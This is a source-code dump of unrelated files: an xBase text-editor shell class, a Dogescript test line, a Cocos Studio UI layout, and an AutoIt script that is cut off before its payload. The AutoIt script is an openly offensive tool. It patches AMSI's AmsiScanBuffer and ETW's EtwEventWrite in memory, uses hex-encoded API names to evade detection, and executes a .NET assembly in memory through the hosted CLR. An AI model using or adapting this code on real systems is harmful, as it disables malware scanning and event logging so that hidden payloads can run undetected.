METHOD DoOpenFile(cFileName, lReadOnly)
LOCAL oTB AS TextBox
IF (Len(cFileName) > 3 ) .AND. ((Upper(Right(cFileName, 4)) == ".RTF") .OR. (Upper(Right(cFileName, 4)) == ".TXT"))
SELF:NewEditWindow(cFileName, lReadOnly)
ELSE
oTB := TextBox{ SELF, ;
"File Open Error", ;
"Cannot open " + cFileName + " - Not a RTF or TXT file"}
oTB:Type := BUTTONOKAY
oTB:Show()
ENDIF
METHOD Drop(oDragEvent)
LOCAL nNumFiles := oDragEvent:FileCount
LOCAL nFile AS INT
FOR nFile := 1 TO nNumFiles
IF File(oDragEvent:FileName(nFile))
SELF:DoOpenFile(oDragEvent:FileName(nFile))
ENDIF
NEXT
METHOD FileExit()
SELF:EndWindow()
METHOD FileNew()
STATIC nCount := 1 AS SHORT
SELF:NewEditWindow("Untitled" + Trim(Str(nCount,2)))
nCount++
method FileOpen()
local oOD as OpenDialog
oOD := OpenDialog{self, ".\*.RTF"}
oOD:SetFilter({"*.RTF", "*.TXT"}, {"Rich Edit Text", "TXT"}, 1)
oOD:Show()
if !Empty(oOD:FileName)
self:DoOpenFile(oOD:FileName, oOD:ReadOnly)
endif
METHOD FilePrinterSetup()
LOCAL oPrinter AS PrintingDevice
oPrinter := PrintingDevice{}
oPrinter:Setup()
CONSTRUCTOR( oOwnerApp )
LOCAL oSB AS StatusBar
LOCAL oTB AS ToolBar
SUPER( oOwnerApp )
SELF:EnableDragDropClient()
oSB := SELF:EnableStatusBar()
oSB:DisplayTime()
SELF:Icon := Icon{ResourceID{IDI_VOPADICON, _GetInst()}}
SELF:IconSm := Icon{ResourceID{IDI_VOPADICON, _GetInst()}}
SELF:Caption := "VOPad"
SELF:Menu := StandardPadMenu{SELF}
oTB := SELF:ToolBar
oCB := SearchBox{SELF:ToolBar, 4711, Point{0, 0}, Dimension{50,152}, BOXDROPDOWN }
oTB:AddBand(#FFIND, oCB, -1, 150, 25,"Search")
oTB:AppendSubItem(#FFIND, IDT_FIND,IDM_StandardPadMenu_Edit_Find_ID)
oTB:AddSubToolBarBand(#Find, , 50)
oTB:AppendSubItem(#Find,IDT_FIND,IDM_StandardPadMenu_Edit_Find_ID)
oTB:AddTipText(IDT_FIND,IDM_StandardPadMenu_Edit_Find_ID,"Find")
oTB:AppendSubItem(#Find,IDT_NEXTREC,IDM_StandardPadMenu_Edit_Find_Next_ID)
oTB:AddTipText(IDT_NEXTREC,IDM_StandardPadMenu_Edit_Find_Next_ID,"Find Next")
RETURN SELF
METHOD NewEditWindow(cFileName,lReadOnly)
LOCAL oNewChild AS PadWin
oNewChild := PadWin{SELF, TRUE, TRUE, cFileName, lReadOnly}
oNewChild:Show(SHOWZOOMED)
SELF:AddChild(oNewChild)
oNewChild:cFName := cFileName
oNewChild:Caption := cFileName
IF Left(cFileName, 8) != "Untitled"
IF Upper(Right(cFileName, 3)) = "RTF"
oNewChild:oDCRichEdit:LoadFromFile(cFileName)
ELSE
oNewChild:oDCRichEdit:TextValue := MemoRead(cFileName)
ENDIF
ENDIF
oNewChild:lChange := FALSE
SELF:omenu:DisableItem(IDM_StandardPadMenu_File_Save_ID)
METHOD RemoveChild(oChild)
LOCAL nALen, n AS DWORD
nAlen := ALen(SELF:aChildWindows)
FOR n := 1 TO nAlen
IF SELF:aChildWindows[n] == oChild
ADel(SELF:aChildWindows, n)
ASize(Self:aChildWindows, ALen(Self:aChildWindows)-1)
ENDIF
NEXT
METHOD WindowCascade()
SELF:Arrange(ARRANGECASCADE)
METHOD WindowIcon()
SELF:Arrange(ARRANGEASICONS)
METHOD WindowTile()
SELF:Arrange(ARRANGETILE)
END CLASS
| xBase | 4 | JohanNel/XSharpPublic | Samples/VOExporterExamples/Before/Vopad/PadShell.prg | [
"Apache-2.0"
] |
array levl 0 is 'hello'
| Dogescript | 0 | erinkeith/dogescript | test/spec/property-operators/levl/assignment/property-to-value/source.djs | [
"MIT"
] |
<GameFile>
<PropertyGroup Name="ProgressBox" Type="Layer" ID="bf9b3cee-a64d-48be-a767-64e6f23af9b5" Version="3.10.0.0" />
<Content ctype="GameProjectContent">
<Content>
<Animation Duration="0" Speed="0.9833" />
<ObjectData Name="Layer" Tag="5" ctype="GameLayerObjectData">
<Size X="720.0000" Y="960.0000" />
<Children>
<AbstractNodeData Name="Panel_1" ActionTag="1171670077" Tag="6" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="BothEdge" TouchEnable="True" StretchWidthEnable="True" StretchHeightEnable="True" ClipAble="False" BackColorAlpha="102" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="720.0000" Y="960.0000" />
<Children>
<AbstractNodeData Name="Panel_2" ActionTag="1630129227" Tag="7" IconVisible="False" PositionPercentYEnabled="True" PercentWidthEnable="True" PercentWidthEnabled="True" HorizontalEdge="BothEdge" LeftMargin="72.0000" RightMargin="72.0000" TopMargin="180.0000" BottomMargin="180.0000" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="576.0000" Y="600.0000" />
<Children>
<AbstractNodeData Name="Panel_6" ActionTag="435307517" Tag="15" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="BothEdge" LeftMargin="3.0000" RightMargin="3.0000" TopMargin="3.0000" BottomMargin="130.0000" TouchEnable="True" StretchWidthEnable="True" StretchHeightEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="570.0000" Y="467.0000" />
<AnchorPoint />
<Position X="3.0000" Y="130.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.0052" Y="0.2167" />
<PreSize X="0.9896" Y="0.7783" />
<SingleColor A="255" R="42" G="42" B="42" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_3" ActionTag="-2101547886" Tag="19" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="TopEdge" TopMargin="95.0000" BottomMargin="485.0000" TouchEnable="True" StretchWidthEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="576.0000" Y="20.0000" />
<AnchorPoint />
<Position Y="485.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition Y="0.8083" />
<PreSize X="1.0000" Y="0.0333" />
<SingleColor A="255" R="85" G="85" B="85" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_4" ActionTag="-1533722917" Tag="120" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="TopEdge" LeftMargin="20.0000" RightMargin="20.0000" TopMargin="130.0000" BottomMargin="150.0000" TouchEnable="True" StretchWidthEnable="True" ClipAble="False" BackColorAlpha="102" ColorAngle="90.0000" ctype="PanelObjectData">
<Size X="536.0000" Y="320.0000" />
<Children>
<AbstractNodeData Name="Panel_5" ActionTag="1296826855" Tag="121" IconVisible="False" PercentWidthEnable="True" PercentWidthEnabled="True" VerticalEdge="TopEdge" BottomMargin="256.0000" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" ctype="PanelObjectData">
<Size X="536.0000" Y="64.0000" />
<Children>
<AbstractNodeData Name="progrss_1" ActionTag="1338629523" Tag="118" IconVisible="False" PercentWidthEnable="True" PercentHeightEnable="True" PercentWidthEnabled="True" PercentHeightEnabled="True" ProgressInfo="50" ctype="LoadingBarObjectData">
<Size X="536.0000" Y="64.0000" />
<AnchorPoint />
<Position />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="1.0000" Y="1.0000" />
<ImageFileData Type="Normal" Path="img/white.png" Plist="" />
</AbstractNodeData>
<AbstractNodeData Name="progress_text_1" ActionTag="46485031" Tag="122" IconVisible="False" PositionPercentXEnabled="True" PositionPercentYEnabled="True" LeftMargin="156.5000" RightMargin="156.5000" TopMargin="-2.5000" BottomMargin="-2.5000" FontSize="48" LabelText="Text Label" OutlineSize="3" OutlineEnabled="True" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="TextObjectData">
<Size X="223.0000" Y="69.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position X="268.0000" Y="32.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.5000" Y="0.5000" />
<PreSize X="0.4160" Y="1.0781" />
<FontResource Type="Normal" Path="DroidSansFallback.ttf" Plist="" />
<OutlineColor A="255" R="77" G="77" B="77" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
</Children>
<AnchorPoint />
<Position Y="256.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition Y="0.8000" />
<PreSize X="1.0000" Y="0.2000" />
<SingleColor A="255" R="26" G="26" B="26" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_5_0" ActionTag="-1180897590" Tag="123" IconVisible="False" PercentWidthEnable="True" PercentWidthEnabled="True" VerticalEdge="TopEdge" LeftMargin="0.2520" RightMargin="-0.2520" TopMargin="80.0000" BottomMargin="176.0000" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="536.0000" Y="64.0000" />
<Children>
<AbstractNodeData Name="progrss_2" ActionTag="-2136225183" Tag="124" IconVisible="False" PercentWidthEnable="True" PercentHeightEnable="True" PercentWidthEnabled="True" PercentHeightEnabled="True" ProgressInfo="50" ctype="LoadingBarObjectData">
<Size X="536.0000" Y="64.0000" />
<AnchorPoint />
<Position />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="1.0000" Y="1.0000" />
<ImageFileData Type="Normal" Path="img/white.png" Plist="" />
</AbstractNodeData>
<AbstractNodeData Name="progress_text_2" ActionTag="725777923" Tag="125" IconVisible="False" PositionPercentXEnabled="True" PositionPercentYEnabled="True" LeftMargin="156.5000" RightMargin="156.5000" TopMargin="-2.5000" BottomMargin="-2.5000" FontSize="48" LabelText="Text Label" OutlineSize="3" OutlineEnabled="True" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="TextObjectData">
<Size X="223.0000" Y="69.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position X="268.0000" Y="32.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.5000" Y="0.5000" />
<PreSize X="0.4160" Y="1.0781" />
<FontResource Type="Normal" Path="DroidSansFallback.ttf" Plist="" />
<OutlineColor A="255" R="77" G="77" B="77" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
</Children>
<AnchorPoint />
<Position X="0.2520" Y="176.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.0005" Y="0.5500" />
<PreSize X="1.0000" Y="0.2000" />
<SingleColor A="255" R="26" G="26" B="26" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="text" ActionTag="58004573" Tag="8" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="BottomEdge" LeftMargin="2.0000" RightMargin="0.0001" TopMargin="160.8994" StretchWidthEnable="True" IsCustomSize="True" FontSize="56" LabelText="Text Label
line2" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="TextObjectData">
<Size X="533.9999" Y="159.1006" />
<AnchorPoint />
<Position X="2.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.0037" />
<PreSize X="0.9963" Y="0.4972" />
<FontResource Type="Normal" Path="DroidSansFallback.ttf" Plist="" />
<OutlineColor A="255" R="255" G="0" B="0" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
</Children>
<AnchorPoint ScaleY="1.0000" />
<Position X="20.0000" Y="470.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.0347" Y="0.7833" />
<PreSize X="0.9306" Y="0.5333" />
<SingleColor A="255" R="150" G="200" B="255" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="title" ActionTag="263594957" Tag="9" IconVisible="False" PositionPercentXEnabled="True" VerticalEdge="TopEdge" LeftMargin="142.5000" RightMargin="142.5000" TopMargin="10.0000" BottomMargin="506.0000" FontSize="64" LabelText="Text Label" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="TextObjectData">
<Size X="291.0000" Y="84.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="1.0000" />
<Position X="288.0000" Y="590.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.5000" Y="0.9833" />
<PreSize X="0.5052" Y="0.1400" />
<FontResource Type="Normal" Path="DroidSansFallback.ttf" Plist="" />
<OutlineColor A="255" R="255" G="0" B="0" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
<AbstractNodeData Name="btnList" ActionTag="975070262" Tag="12" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="BottomEdge" LeftMargin="5.0000" RightMargin="5.0001" TopMargin="475.0000" BottomMargin="5.0000" TouchEnable="True" StretchWidthEnable="True" ClipAble="False" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="565.9999" Y="120.0000" />
<Children>
<AbstractNodeData Name="btnCell" ActionTag="-1909097187" Tag="14" IconVisible="False" PositionPercentXEnabled="True" PositionPercentYEnabled="True" LeftMargin="157.9999" RightMargin="157.9999" TopMargin="7.5000" BottomMargin="7.5000" TouchEnable="True" StretchHeightEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="250.0000" Y="105.0000" />
<Children>
<AbstractNodeData Name="Panel_7" ActionTag="2017295163" Tag="16" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="BothEdge" LeftMargin="4.0000" RightMargin="4.0000" TopMargin="4.0000" BottomMargin="4.0000" TouchEnable="True" StretchWidthEnable="True" StretchHeightEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="242.0000" Y="97.0000" />
<Children>
<AbstractNodeData Name="btn" ActionTag="1302713611" Tag="13" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="BothEdge" TouchEnable="True" StretchWidthEnable="True" StretchHeightEnable="True" FontSize="64" ButtonText="Button" Scale9Enable="True" Scale9Width="1" Scale9Height="1" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="ButtonObjectData">
<Size X="242.0000" Y="97.0000" />
<AnchorPoint />
<Position />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="1.0000" Y="1.0000" />
<FontResource Type="Normal" Path="DroidSansFallback.ttf" Plist="" />
<TextColor A="255" R="0" G="0" B="0" />
<DisabledFileData Type="Normal" Path="img/gray.png" Plist="" />
<PressedFileData Type="Normal" Path="img/gray.png" Plist="" />
<NormalFileData Type="Normal" Path="img/empty.png" Plist="" />
<OutlineColor A="255" R="255" G="0" B="0" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
</Children>
<AnchorPoint />
<Position X="4.0000" Y="4.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.0160" Y="0.0381" />
<PreSize X="0.9680" Y="0.9238" />
<SingleColor A="255" R="153" G="153" B="153" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
</Children>
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position X="282.9999" Y="60.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.5000" Y="0.5000" />
<PreSize X="0.4417" Y="0.8750" />
<SingleColor A="255" R="68" G="68" B="68" />
<FirstColor A="255" R="136" G="136" B="136" />
<EndColor A="255" R="68" G="68" B="68" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
</Children>
<AnchorPoint />
<Position X="5.0000" Y="5.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.0087" Y="0.0083" />
<PreSize X="0.9826" Y="0.2000" />
<SingleColor A="255" R="32" G="32" B="32" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
</Children>
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position X="360.0000" Y="480.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.5000" Y="0.5000" />
<PreSize X="0.8000" Y="0.6250" />
<SingleColor A="255" R="85" G="85" B="85" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
</Children>
<AnchorPoint />
<Position />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="1.0000" Y="1.0000" />
<SingleColor A="255" R="0" G="0" B="0" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
</Children>
</ObjectData>
</Content>
</Content>
</GameFile> | Csound | 3 | A29586a/Kirikiroid2 | cocos/kr2/cocosstudio/ui/ProgressBox.csd | [
"BSD-3-Clause"
] |
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_UseX64=y
#AutoIt3Wrapper_Change2CUI=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include ".\Includes\SafeArray.au3"
#include ".\Includes\Variant.au3"
#include ".\Includes\CLRConsts.au3"
#include <WinAPIRes.au3>
#include <WinAPISys.au3>
#include <Memory.au3>
#include <String.au3>
#cs --------------------------------------------------------------------------------
AutoIt Version: 3.3.14.5
Author: VIVI (https://github.com/V1V1) | (https://twitter.com/_theVIVI)
Script Function:
Hosts the CLR, patches AMSI & ETW and executes a .NET assembly from memory.
Notes:
This is a modified version of a script by Danyfirex (https://www.autoitscript.com/forum/profile/71248-danyfirex/)
All credit goes to them for their amazing work.
I'm trying to figure out how to pass arguments to the assembly at execution.
For now, it doesn't work.
Reference:
https://www.autoitscript.com/forum/topic/188158-net-common-language-runtime-clr-framework/
#ce --------------------------------------------------------------------------------
; Title
ConsoleWrite(@CRLF & "=========== ExecuteAssembly-v1 (no args) ===========" & @CRLF & @CRLF)
;~ Run .NET assembly
_Run_dotNET_Assembly()
#cs ----------------------------------------------------------------------------
Main functions:
_Run_dotNET_Assembly()
_PatchAMSI()
_PatchETW()
_Base64String()
#ce ----------------------------------------------------------------------------
Opt("MustDeclareVars", 1)
Func _Run_dotNET_Assembly()
Local $hMSCorEE = DllOpen("MSCorEE.DLL")
Local $aRet = DllCall($hMSCorEE, "long", "CLRCreateInstance", "struct*", $tCLSID_CLRMetaHost, "struct*", $tIID_ICLRMetaHost, "ptr*", 0)
If $aRet[0] = $S_OK Then
Local $pClrHost = $aRet[3]
Local $oClrHost = ObjCreateInterface($pClrHost, $sIID_ICLRMetaHost, $sTag_CLRMetaHost)
#Region Get EnumerateRuntimes
Local $tEnumerateRuntimes = DllStructCreate("ptr")
$oClrHost.EnumerateInstalledRuntimes(DllStructGetPtr($tEnumerateRuntimes))
Local $pEnumerateRuntimes = DllStructGetData($tEnumerateRuntimes, 1)
Local $oEnumerateRuntimes = ObjCreateInterface($pEnumerateRuntimes, $sIID_IEnumUnknown, $sTagEnumUnknown)
Local $sNETFrameworkVersion = "v4.0.30319"
Local $tCLRRuntimeInfo = DllStructCreate("ptr")
$oClrHost.GetRuntime($sNETFrameworkVersion, $tIID_ICLRRuntimeInfo, DllStructGetPtr($tCLRRuntimeInfo))
Local $pCLRRuntimeInfo = DllStructGetData($tCLRRuntimeInfo, 1)
Local $oCLRRuntimeInfo = ObjCreateInterface($pCLRRuntimeInfo, $sIID_ICLRRuntimeInfo, $sTag_CLRRuntimeInfo)
Local $isIsLoadable = 0
$oCLRRuntimeInfo.IsLoadable($isIsLoadable)
If $isIsLoadable Then
Local $tCLRRuntimeHost = DllStructCreate("ptr")
$oCLRRuntimeInfo.GetInterface(DllStructGetPtr($tCLSID_CLRRuntimeHost), DllStructGetPtr($tIID_ICLRRuntimeHost), DllStructGetPtr($tCLRRuntimeHost))
Local $pCLRRuntimeHost = DllStructGetData($tCLRRuntimeHost, 1)
Local $oCLRRuntimeHost = ObjCreateInterface($pCLRRuntimeHost, $sIID_ICLRRuntimeHost, $sTag_CLRRuntimeHost)
$oCLRRuntimeHost.Start()
Local $tCorRuntimeHost = DllStructCreate("ptr")
$oCLRRuntimeInfo.GetInterface(DllStructGetPtr($tCLSID_CorRuntimeHost), DllStructGetPtr($tIID_ICorRuntimeHost), DllStructGetPtr($tCorRuntimeHost))
Local $pCorRuntimeHost = DllStructGetData($tCorRuntimeHost, 1)
Local $oCorRuntimeHost = ObjCreateInterface($pCorRuntimeHost, $sIID_ICorRuntimeHost, $sTag_ICorRuntimeHost)
$oCorRuntimeHost.Start()
Local $pAppDomain = 0
$oCorRuntimeHost.GetDefaultDomain($pAppDomain)
Local $oAppDomain = ObjCreateInterface($pAppDomain, $sIID_AppDomain, $sTag_AppDomain)
Local $bBinaryNetExe = _Base64String()
Local $iSize = BinaryLen($bBinaryNetExe)
Local $tBuffer = DllStructCreate("byte[" & $iSize & "]")
DllStructSetData($tBuffer, 1, $bBinaryNetExe)
Local $tSafeArrayBound = DllStructCreate($tagSAFEARRAYBOUND)
Local $pSafeArray, $pSafeArrayData
DllStructSetData($tSafeArrayBound, "cElements", $iSize)
DllStructSetData($tSafeArrayBound, "lLbound", 0)
$pSafeArray = SafeArrayCreate($VT_UI1, 1, $tSafeArrayBound)
SafeArrayAccessData($pSafeArray, $pSafeArrayData)
_MemMoveMemory(DllStructGetPtr($tBuffer), $pSafeArrayData, $iSize)
SafeArrayUnaccessData($pSafeArray)
; Execute assembly
ConsoleWrite("[*] Executing .NET assembly" & @CRLF & @CRLF)
Local $pAssembly = 0
Local $pExeArray = $pSafeArray
$oAppDomain.Load_3($pExeArray, $pAssembly)
Local $oAssembly = ObjCreateInterface($pAssembly, $sIID_IAssembly, $sTag_IAssembly)
Local $sFullName = ""
$oAssembly.get_FullName($sFullName)
ConsoleWrite(" [i] Assembly name: " & $sFullName & @CRLF & @CRLF)
Local $pSAEmpty, $tSAB = DllStructCreate($tagSAFEARRAYBOUND)
DllStructSetData($tSAB, "cElements", 1)
DllStructSetData($tSAB, "lLbound", 0)
$pSAEmpty = SafeArrayCreate($VT_VARIANT, 1, $tSAB)
Local $pMethodInfo = 0
$oAssembly.get_EntryPoint($pMethodInfo)
Local $oMethodInfo = ObjCreateInterface($pMethodInfo, $sIID_MethodInfo, $sTag_IMethodInfo)
$oMethodInfo.Name($sFullName)
Local $pRet = 0
$oMethodInfo.Invoke_3(Null, $pSAEmpty, $pRet)
SafeArrayDestroy($pSAEmpty) ;free
SafeArrayDestroy($pSafeArray) ;free
ConsoleWrite(@CRLF & @CRLF & "[+] Done." & @CRLF & @CRLF)
EndIf
EndIf
DllClose($hMSCorEE) ;free
EndFunc
Func _PatchETW()
; Adapted from - https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
; Credits - Adam Chester (https://twitter.com/_xpn_)
ConsoleWrite("[*] Patching ETW" & @CRLF & @CRLF)
; Define patch bytes - specifically for 64 bit process
Local $patchBytes = "0x30786333"
; Get EtwEventWrite location
Local $ndllStr = _HexToString("0x6e74646c6c2e646c6c")
Local $ntdll = _WinAPI_LoadLibrary($ndllStr)
If $ntdll = 0 Then
ConsoleWrite("[X] Couldn't load DLL." & @CRLF & @CRLF)
Exit
EndIf
; Get EtwEventWrite address
Local $etwEWStr = _HexToString("0x4574774576656e745772697465")
Local $etwEW = _WinAPI_GetProcAddress($ntdll, $etwEWStr)
If $etwEW = 0 Then
ConsoleWrite("[X] Failed to get EtwEventWrite address." & @CRLF & @CRLF)
Exit
EndIf
; Make memory region writable
; Patch length
Local $patchSize = BinaryLen($patchBytes)
; VirtualProtect
Local $vpCall = DllCall("Kernel32.dll", "int", "VirtualProtect", _
"ptr", $etwEW, _
"long", $patchSize, _
"dword", 0x40, _
"dword*", 0)
Local $hProtect = $vpCall[0]
Local $oldProtect = $vpCall[4]
;~ Byte array to the address
Local $patchBuffer = DllStructCreate("byte[" & $patchSize & "]", $etwEW)
;~ Copy patch
DllStructSetData($patchBuffer, 1, $patchBytes)
; Restore region to RX
Local $resCall = DllCall("Kernel32.dll", "int", "VirtualProtect", _
"ptr", $etwEW, _
"long", $patchSize, _
"dword", $oldProtect, _
"dword*", 0)
ConsoleWrite(" [+] ETW patch successful" & @CRLF & @CRLF)
EndFunc ;==>_PatchETW()
Func _PatchAMSI()
; Adapted from - https://gist.github.com/FatRodzianko/c8a76537b5a87b850c7d158728717998
; Credits - FatRodzianko (https://github.com/FatRodzianko)
; Initial bypass technique discovered by Rastamouse (https://twitter.com/_RastaMouse)
ConsoleWrite("[*] Patching AMSI" & @CRLF & @CRLF)
; Define patch bytes - specifically for 64 bit process
Local $patchBytes = "0x31C0057801197F05DFFEED00C3"
; Get ASB location
Local $adll = _HexToString("0x616d73692e646c6c")
Local $amLib = _WinAPI_LoadLibrary($adll)
If $amLib = 0 Then
ConsoleWrite("[X] Couldn't load DLL." & @CRLF & @CRLF)
Exit
EndIf
; Get ASB address
Local $asb = _HexToString("0x416d73695363616e427566666572")
Local $asbLoc = _WinAPI_GetProcAddress($amLib, $asb)
If $asbLoc = 0 Then
ConsoleWrite("[X] Failed to get ASB memory address." & @CRLF & @CRLF)
Exit
EndIf
; Patch length
Local $patchSize = BinaryLen($patchBytes)
; VirtualProtect - make memory region writable
Local $vpCall = DllCall("Kernel32.dll", "int", "VirtualProtect", _
"ptr", $asbLoc, _
"long", $patchSize, _
"dword", 0x40, _
"dword*", 0)
Local $hProtect = $vpCall[0]
Local $oldProtect = $vpCall[4]
;~ Byte array to the address
Local $patchBuffer = DllStructCreate("byte[" & $patchSize & "]", $asbLoc)
;~ Copy patch
DllStructSetData($patchBuffer, 1, $patchBytes)
; Restore region to RX
Local $resCall = DllCall("Kernel32.dll", "int", "VirtualProtect", _
"ptr", $asbLoc, _
"long", $patchSize, _
"dword", $oldProtect, _
"dword*", 0)
ConsoleWrite(" [+] AMSI patch successful" & @CRLF & @CRLF)
EndFunc ;==>_PatchAMSI()
; Code below was adapted from: 'File to Base64 String' Code Generator v1.20 Build 2020-06-05
; Credits - UEZ (https://www.autoitscript.com/forum/profile/29844-uez/)
; NOTE: Setting $bSaveBinary to True will write the assembly to disk, you probably want to avoid this
Func _Base64String($bSaveBinary = False, $sSavePath = @ScriptDir)
; Base64 assembly
Local $Base64Assembly
; Assembly below is a simple MessageBox
; Replace the lines below with your own Base64 encoded .NET assembly
; Use this script for conversion - https://gist.github.com/V1V1/b3a3315a90817fef8fa0f45334e2e196
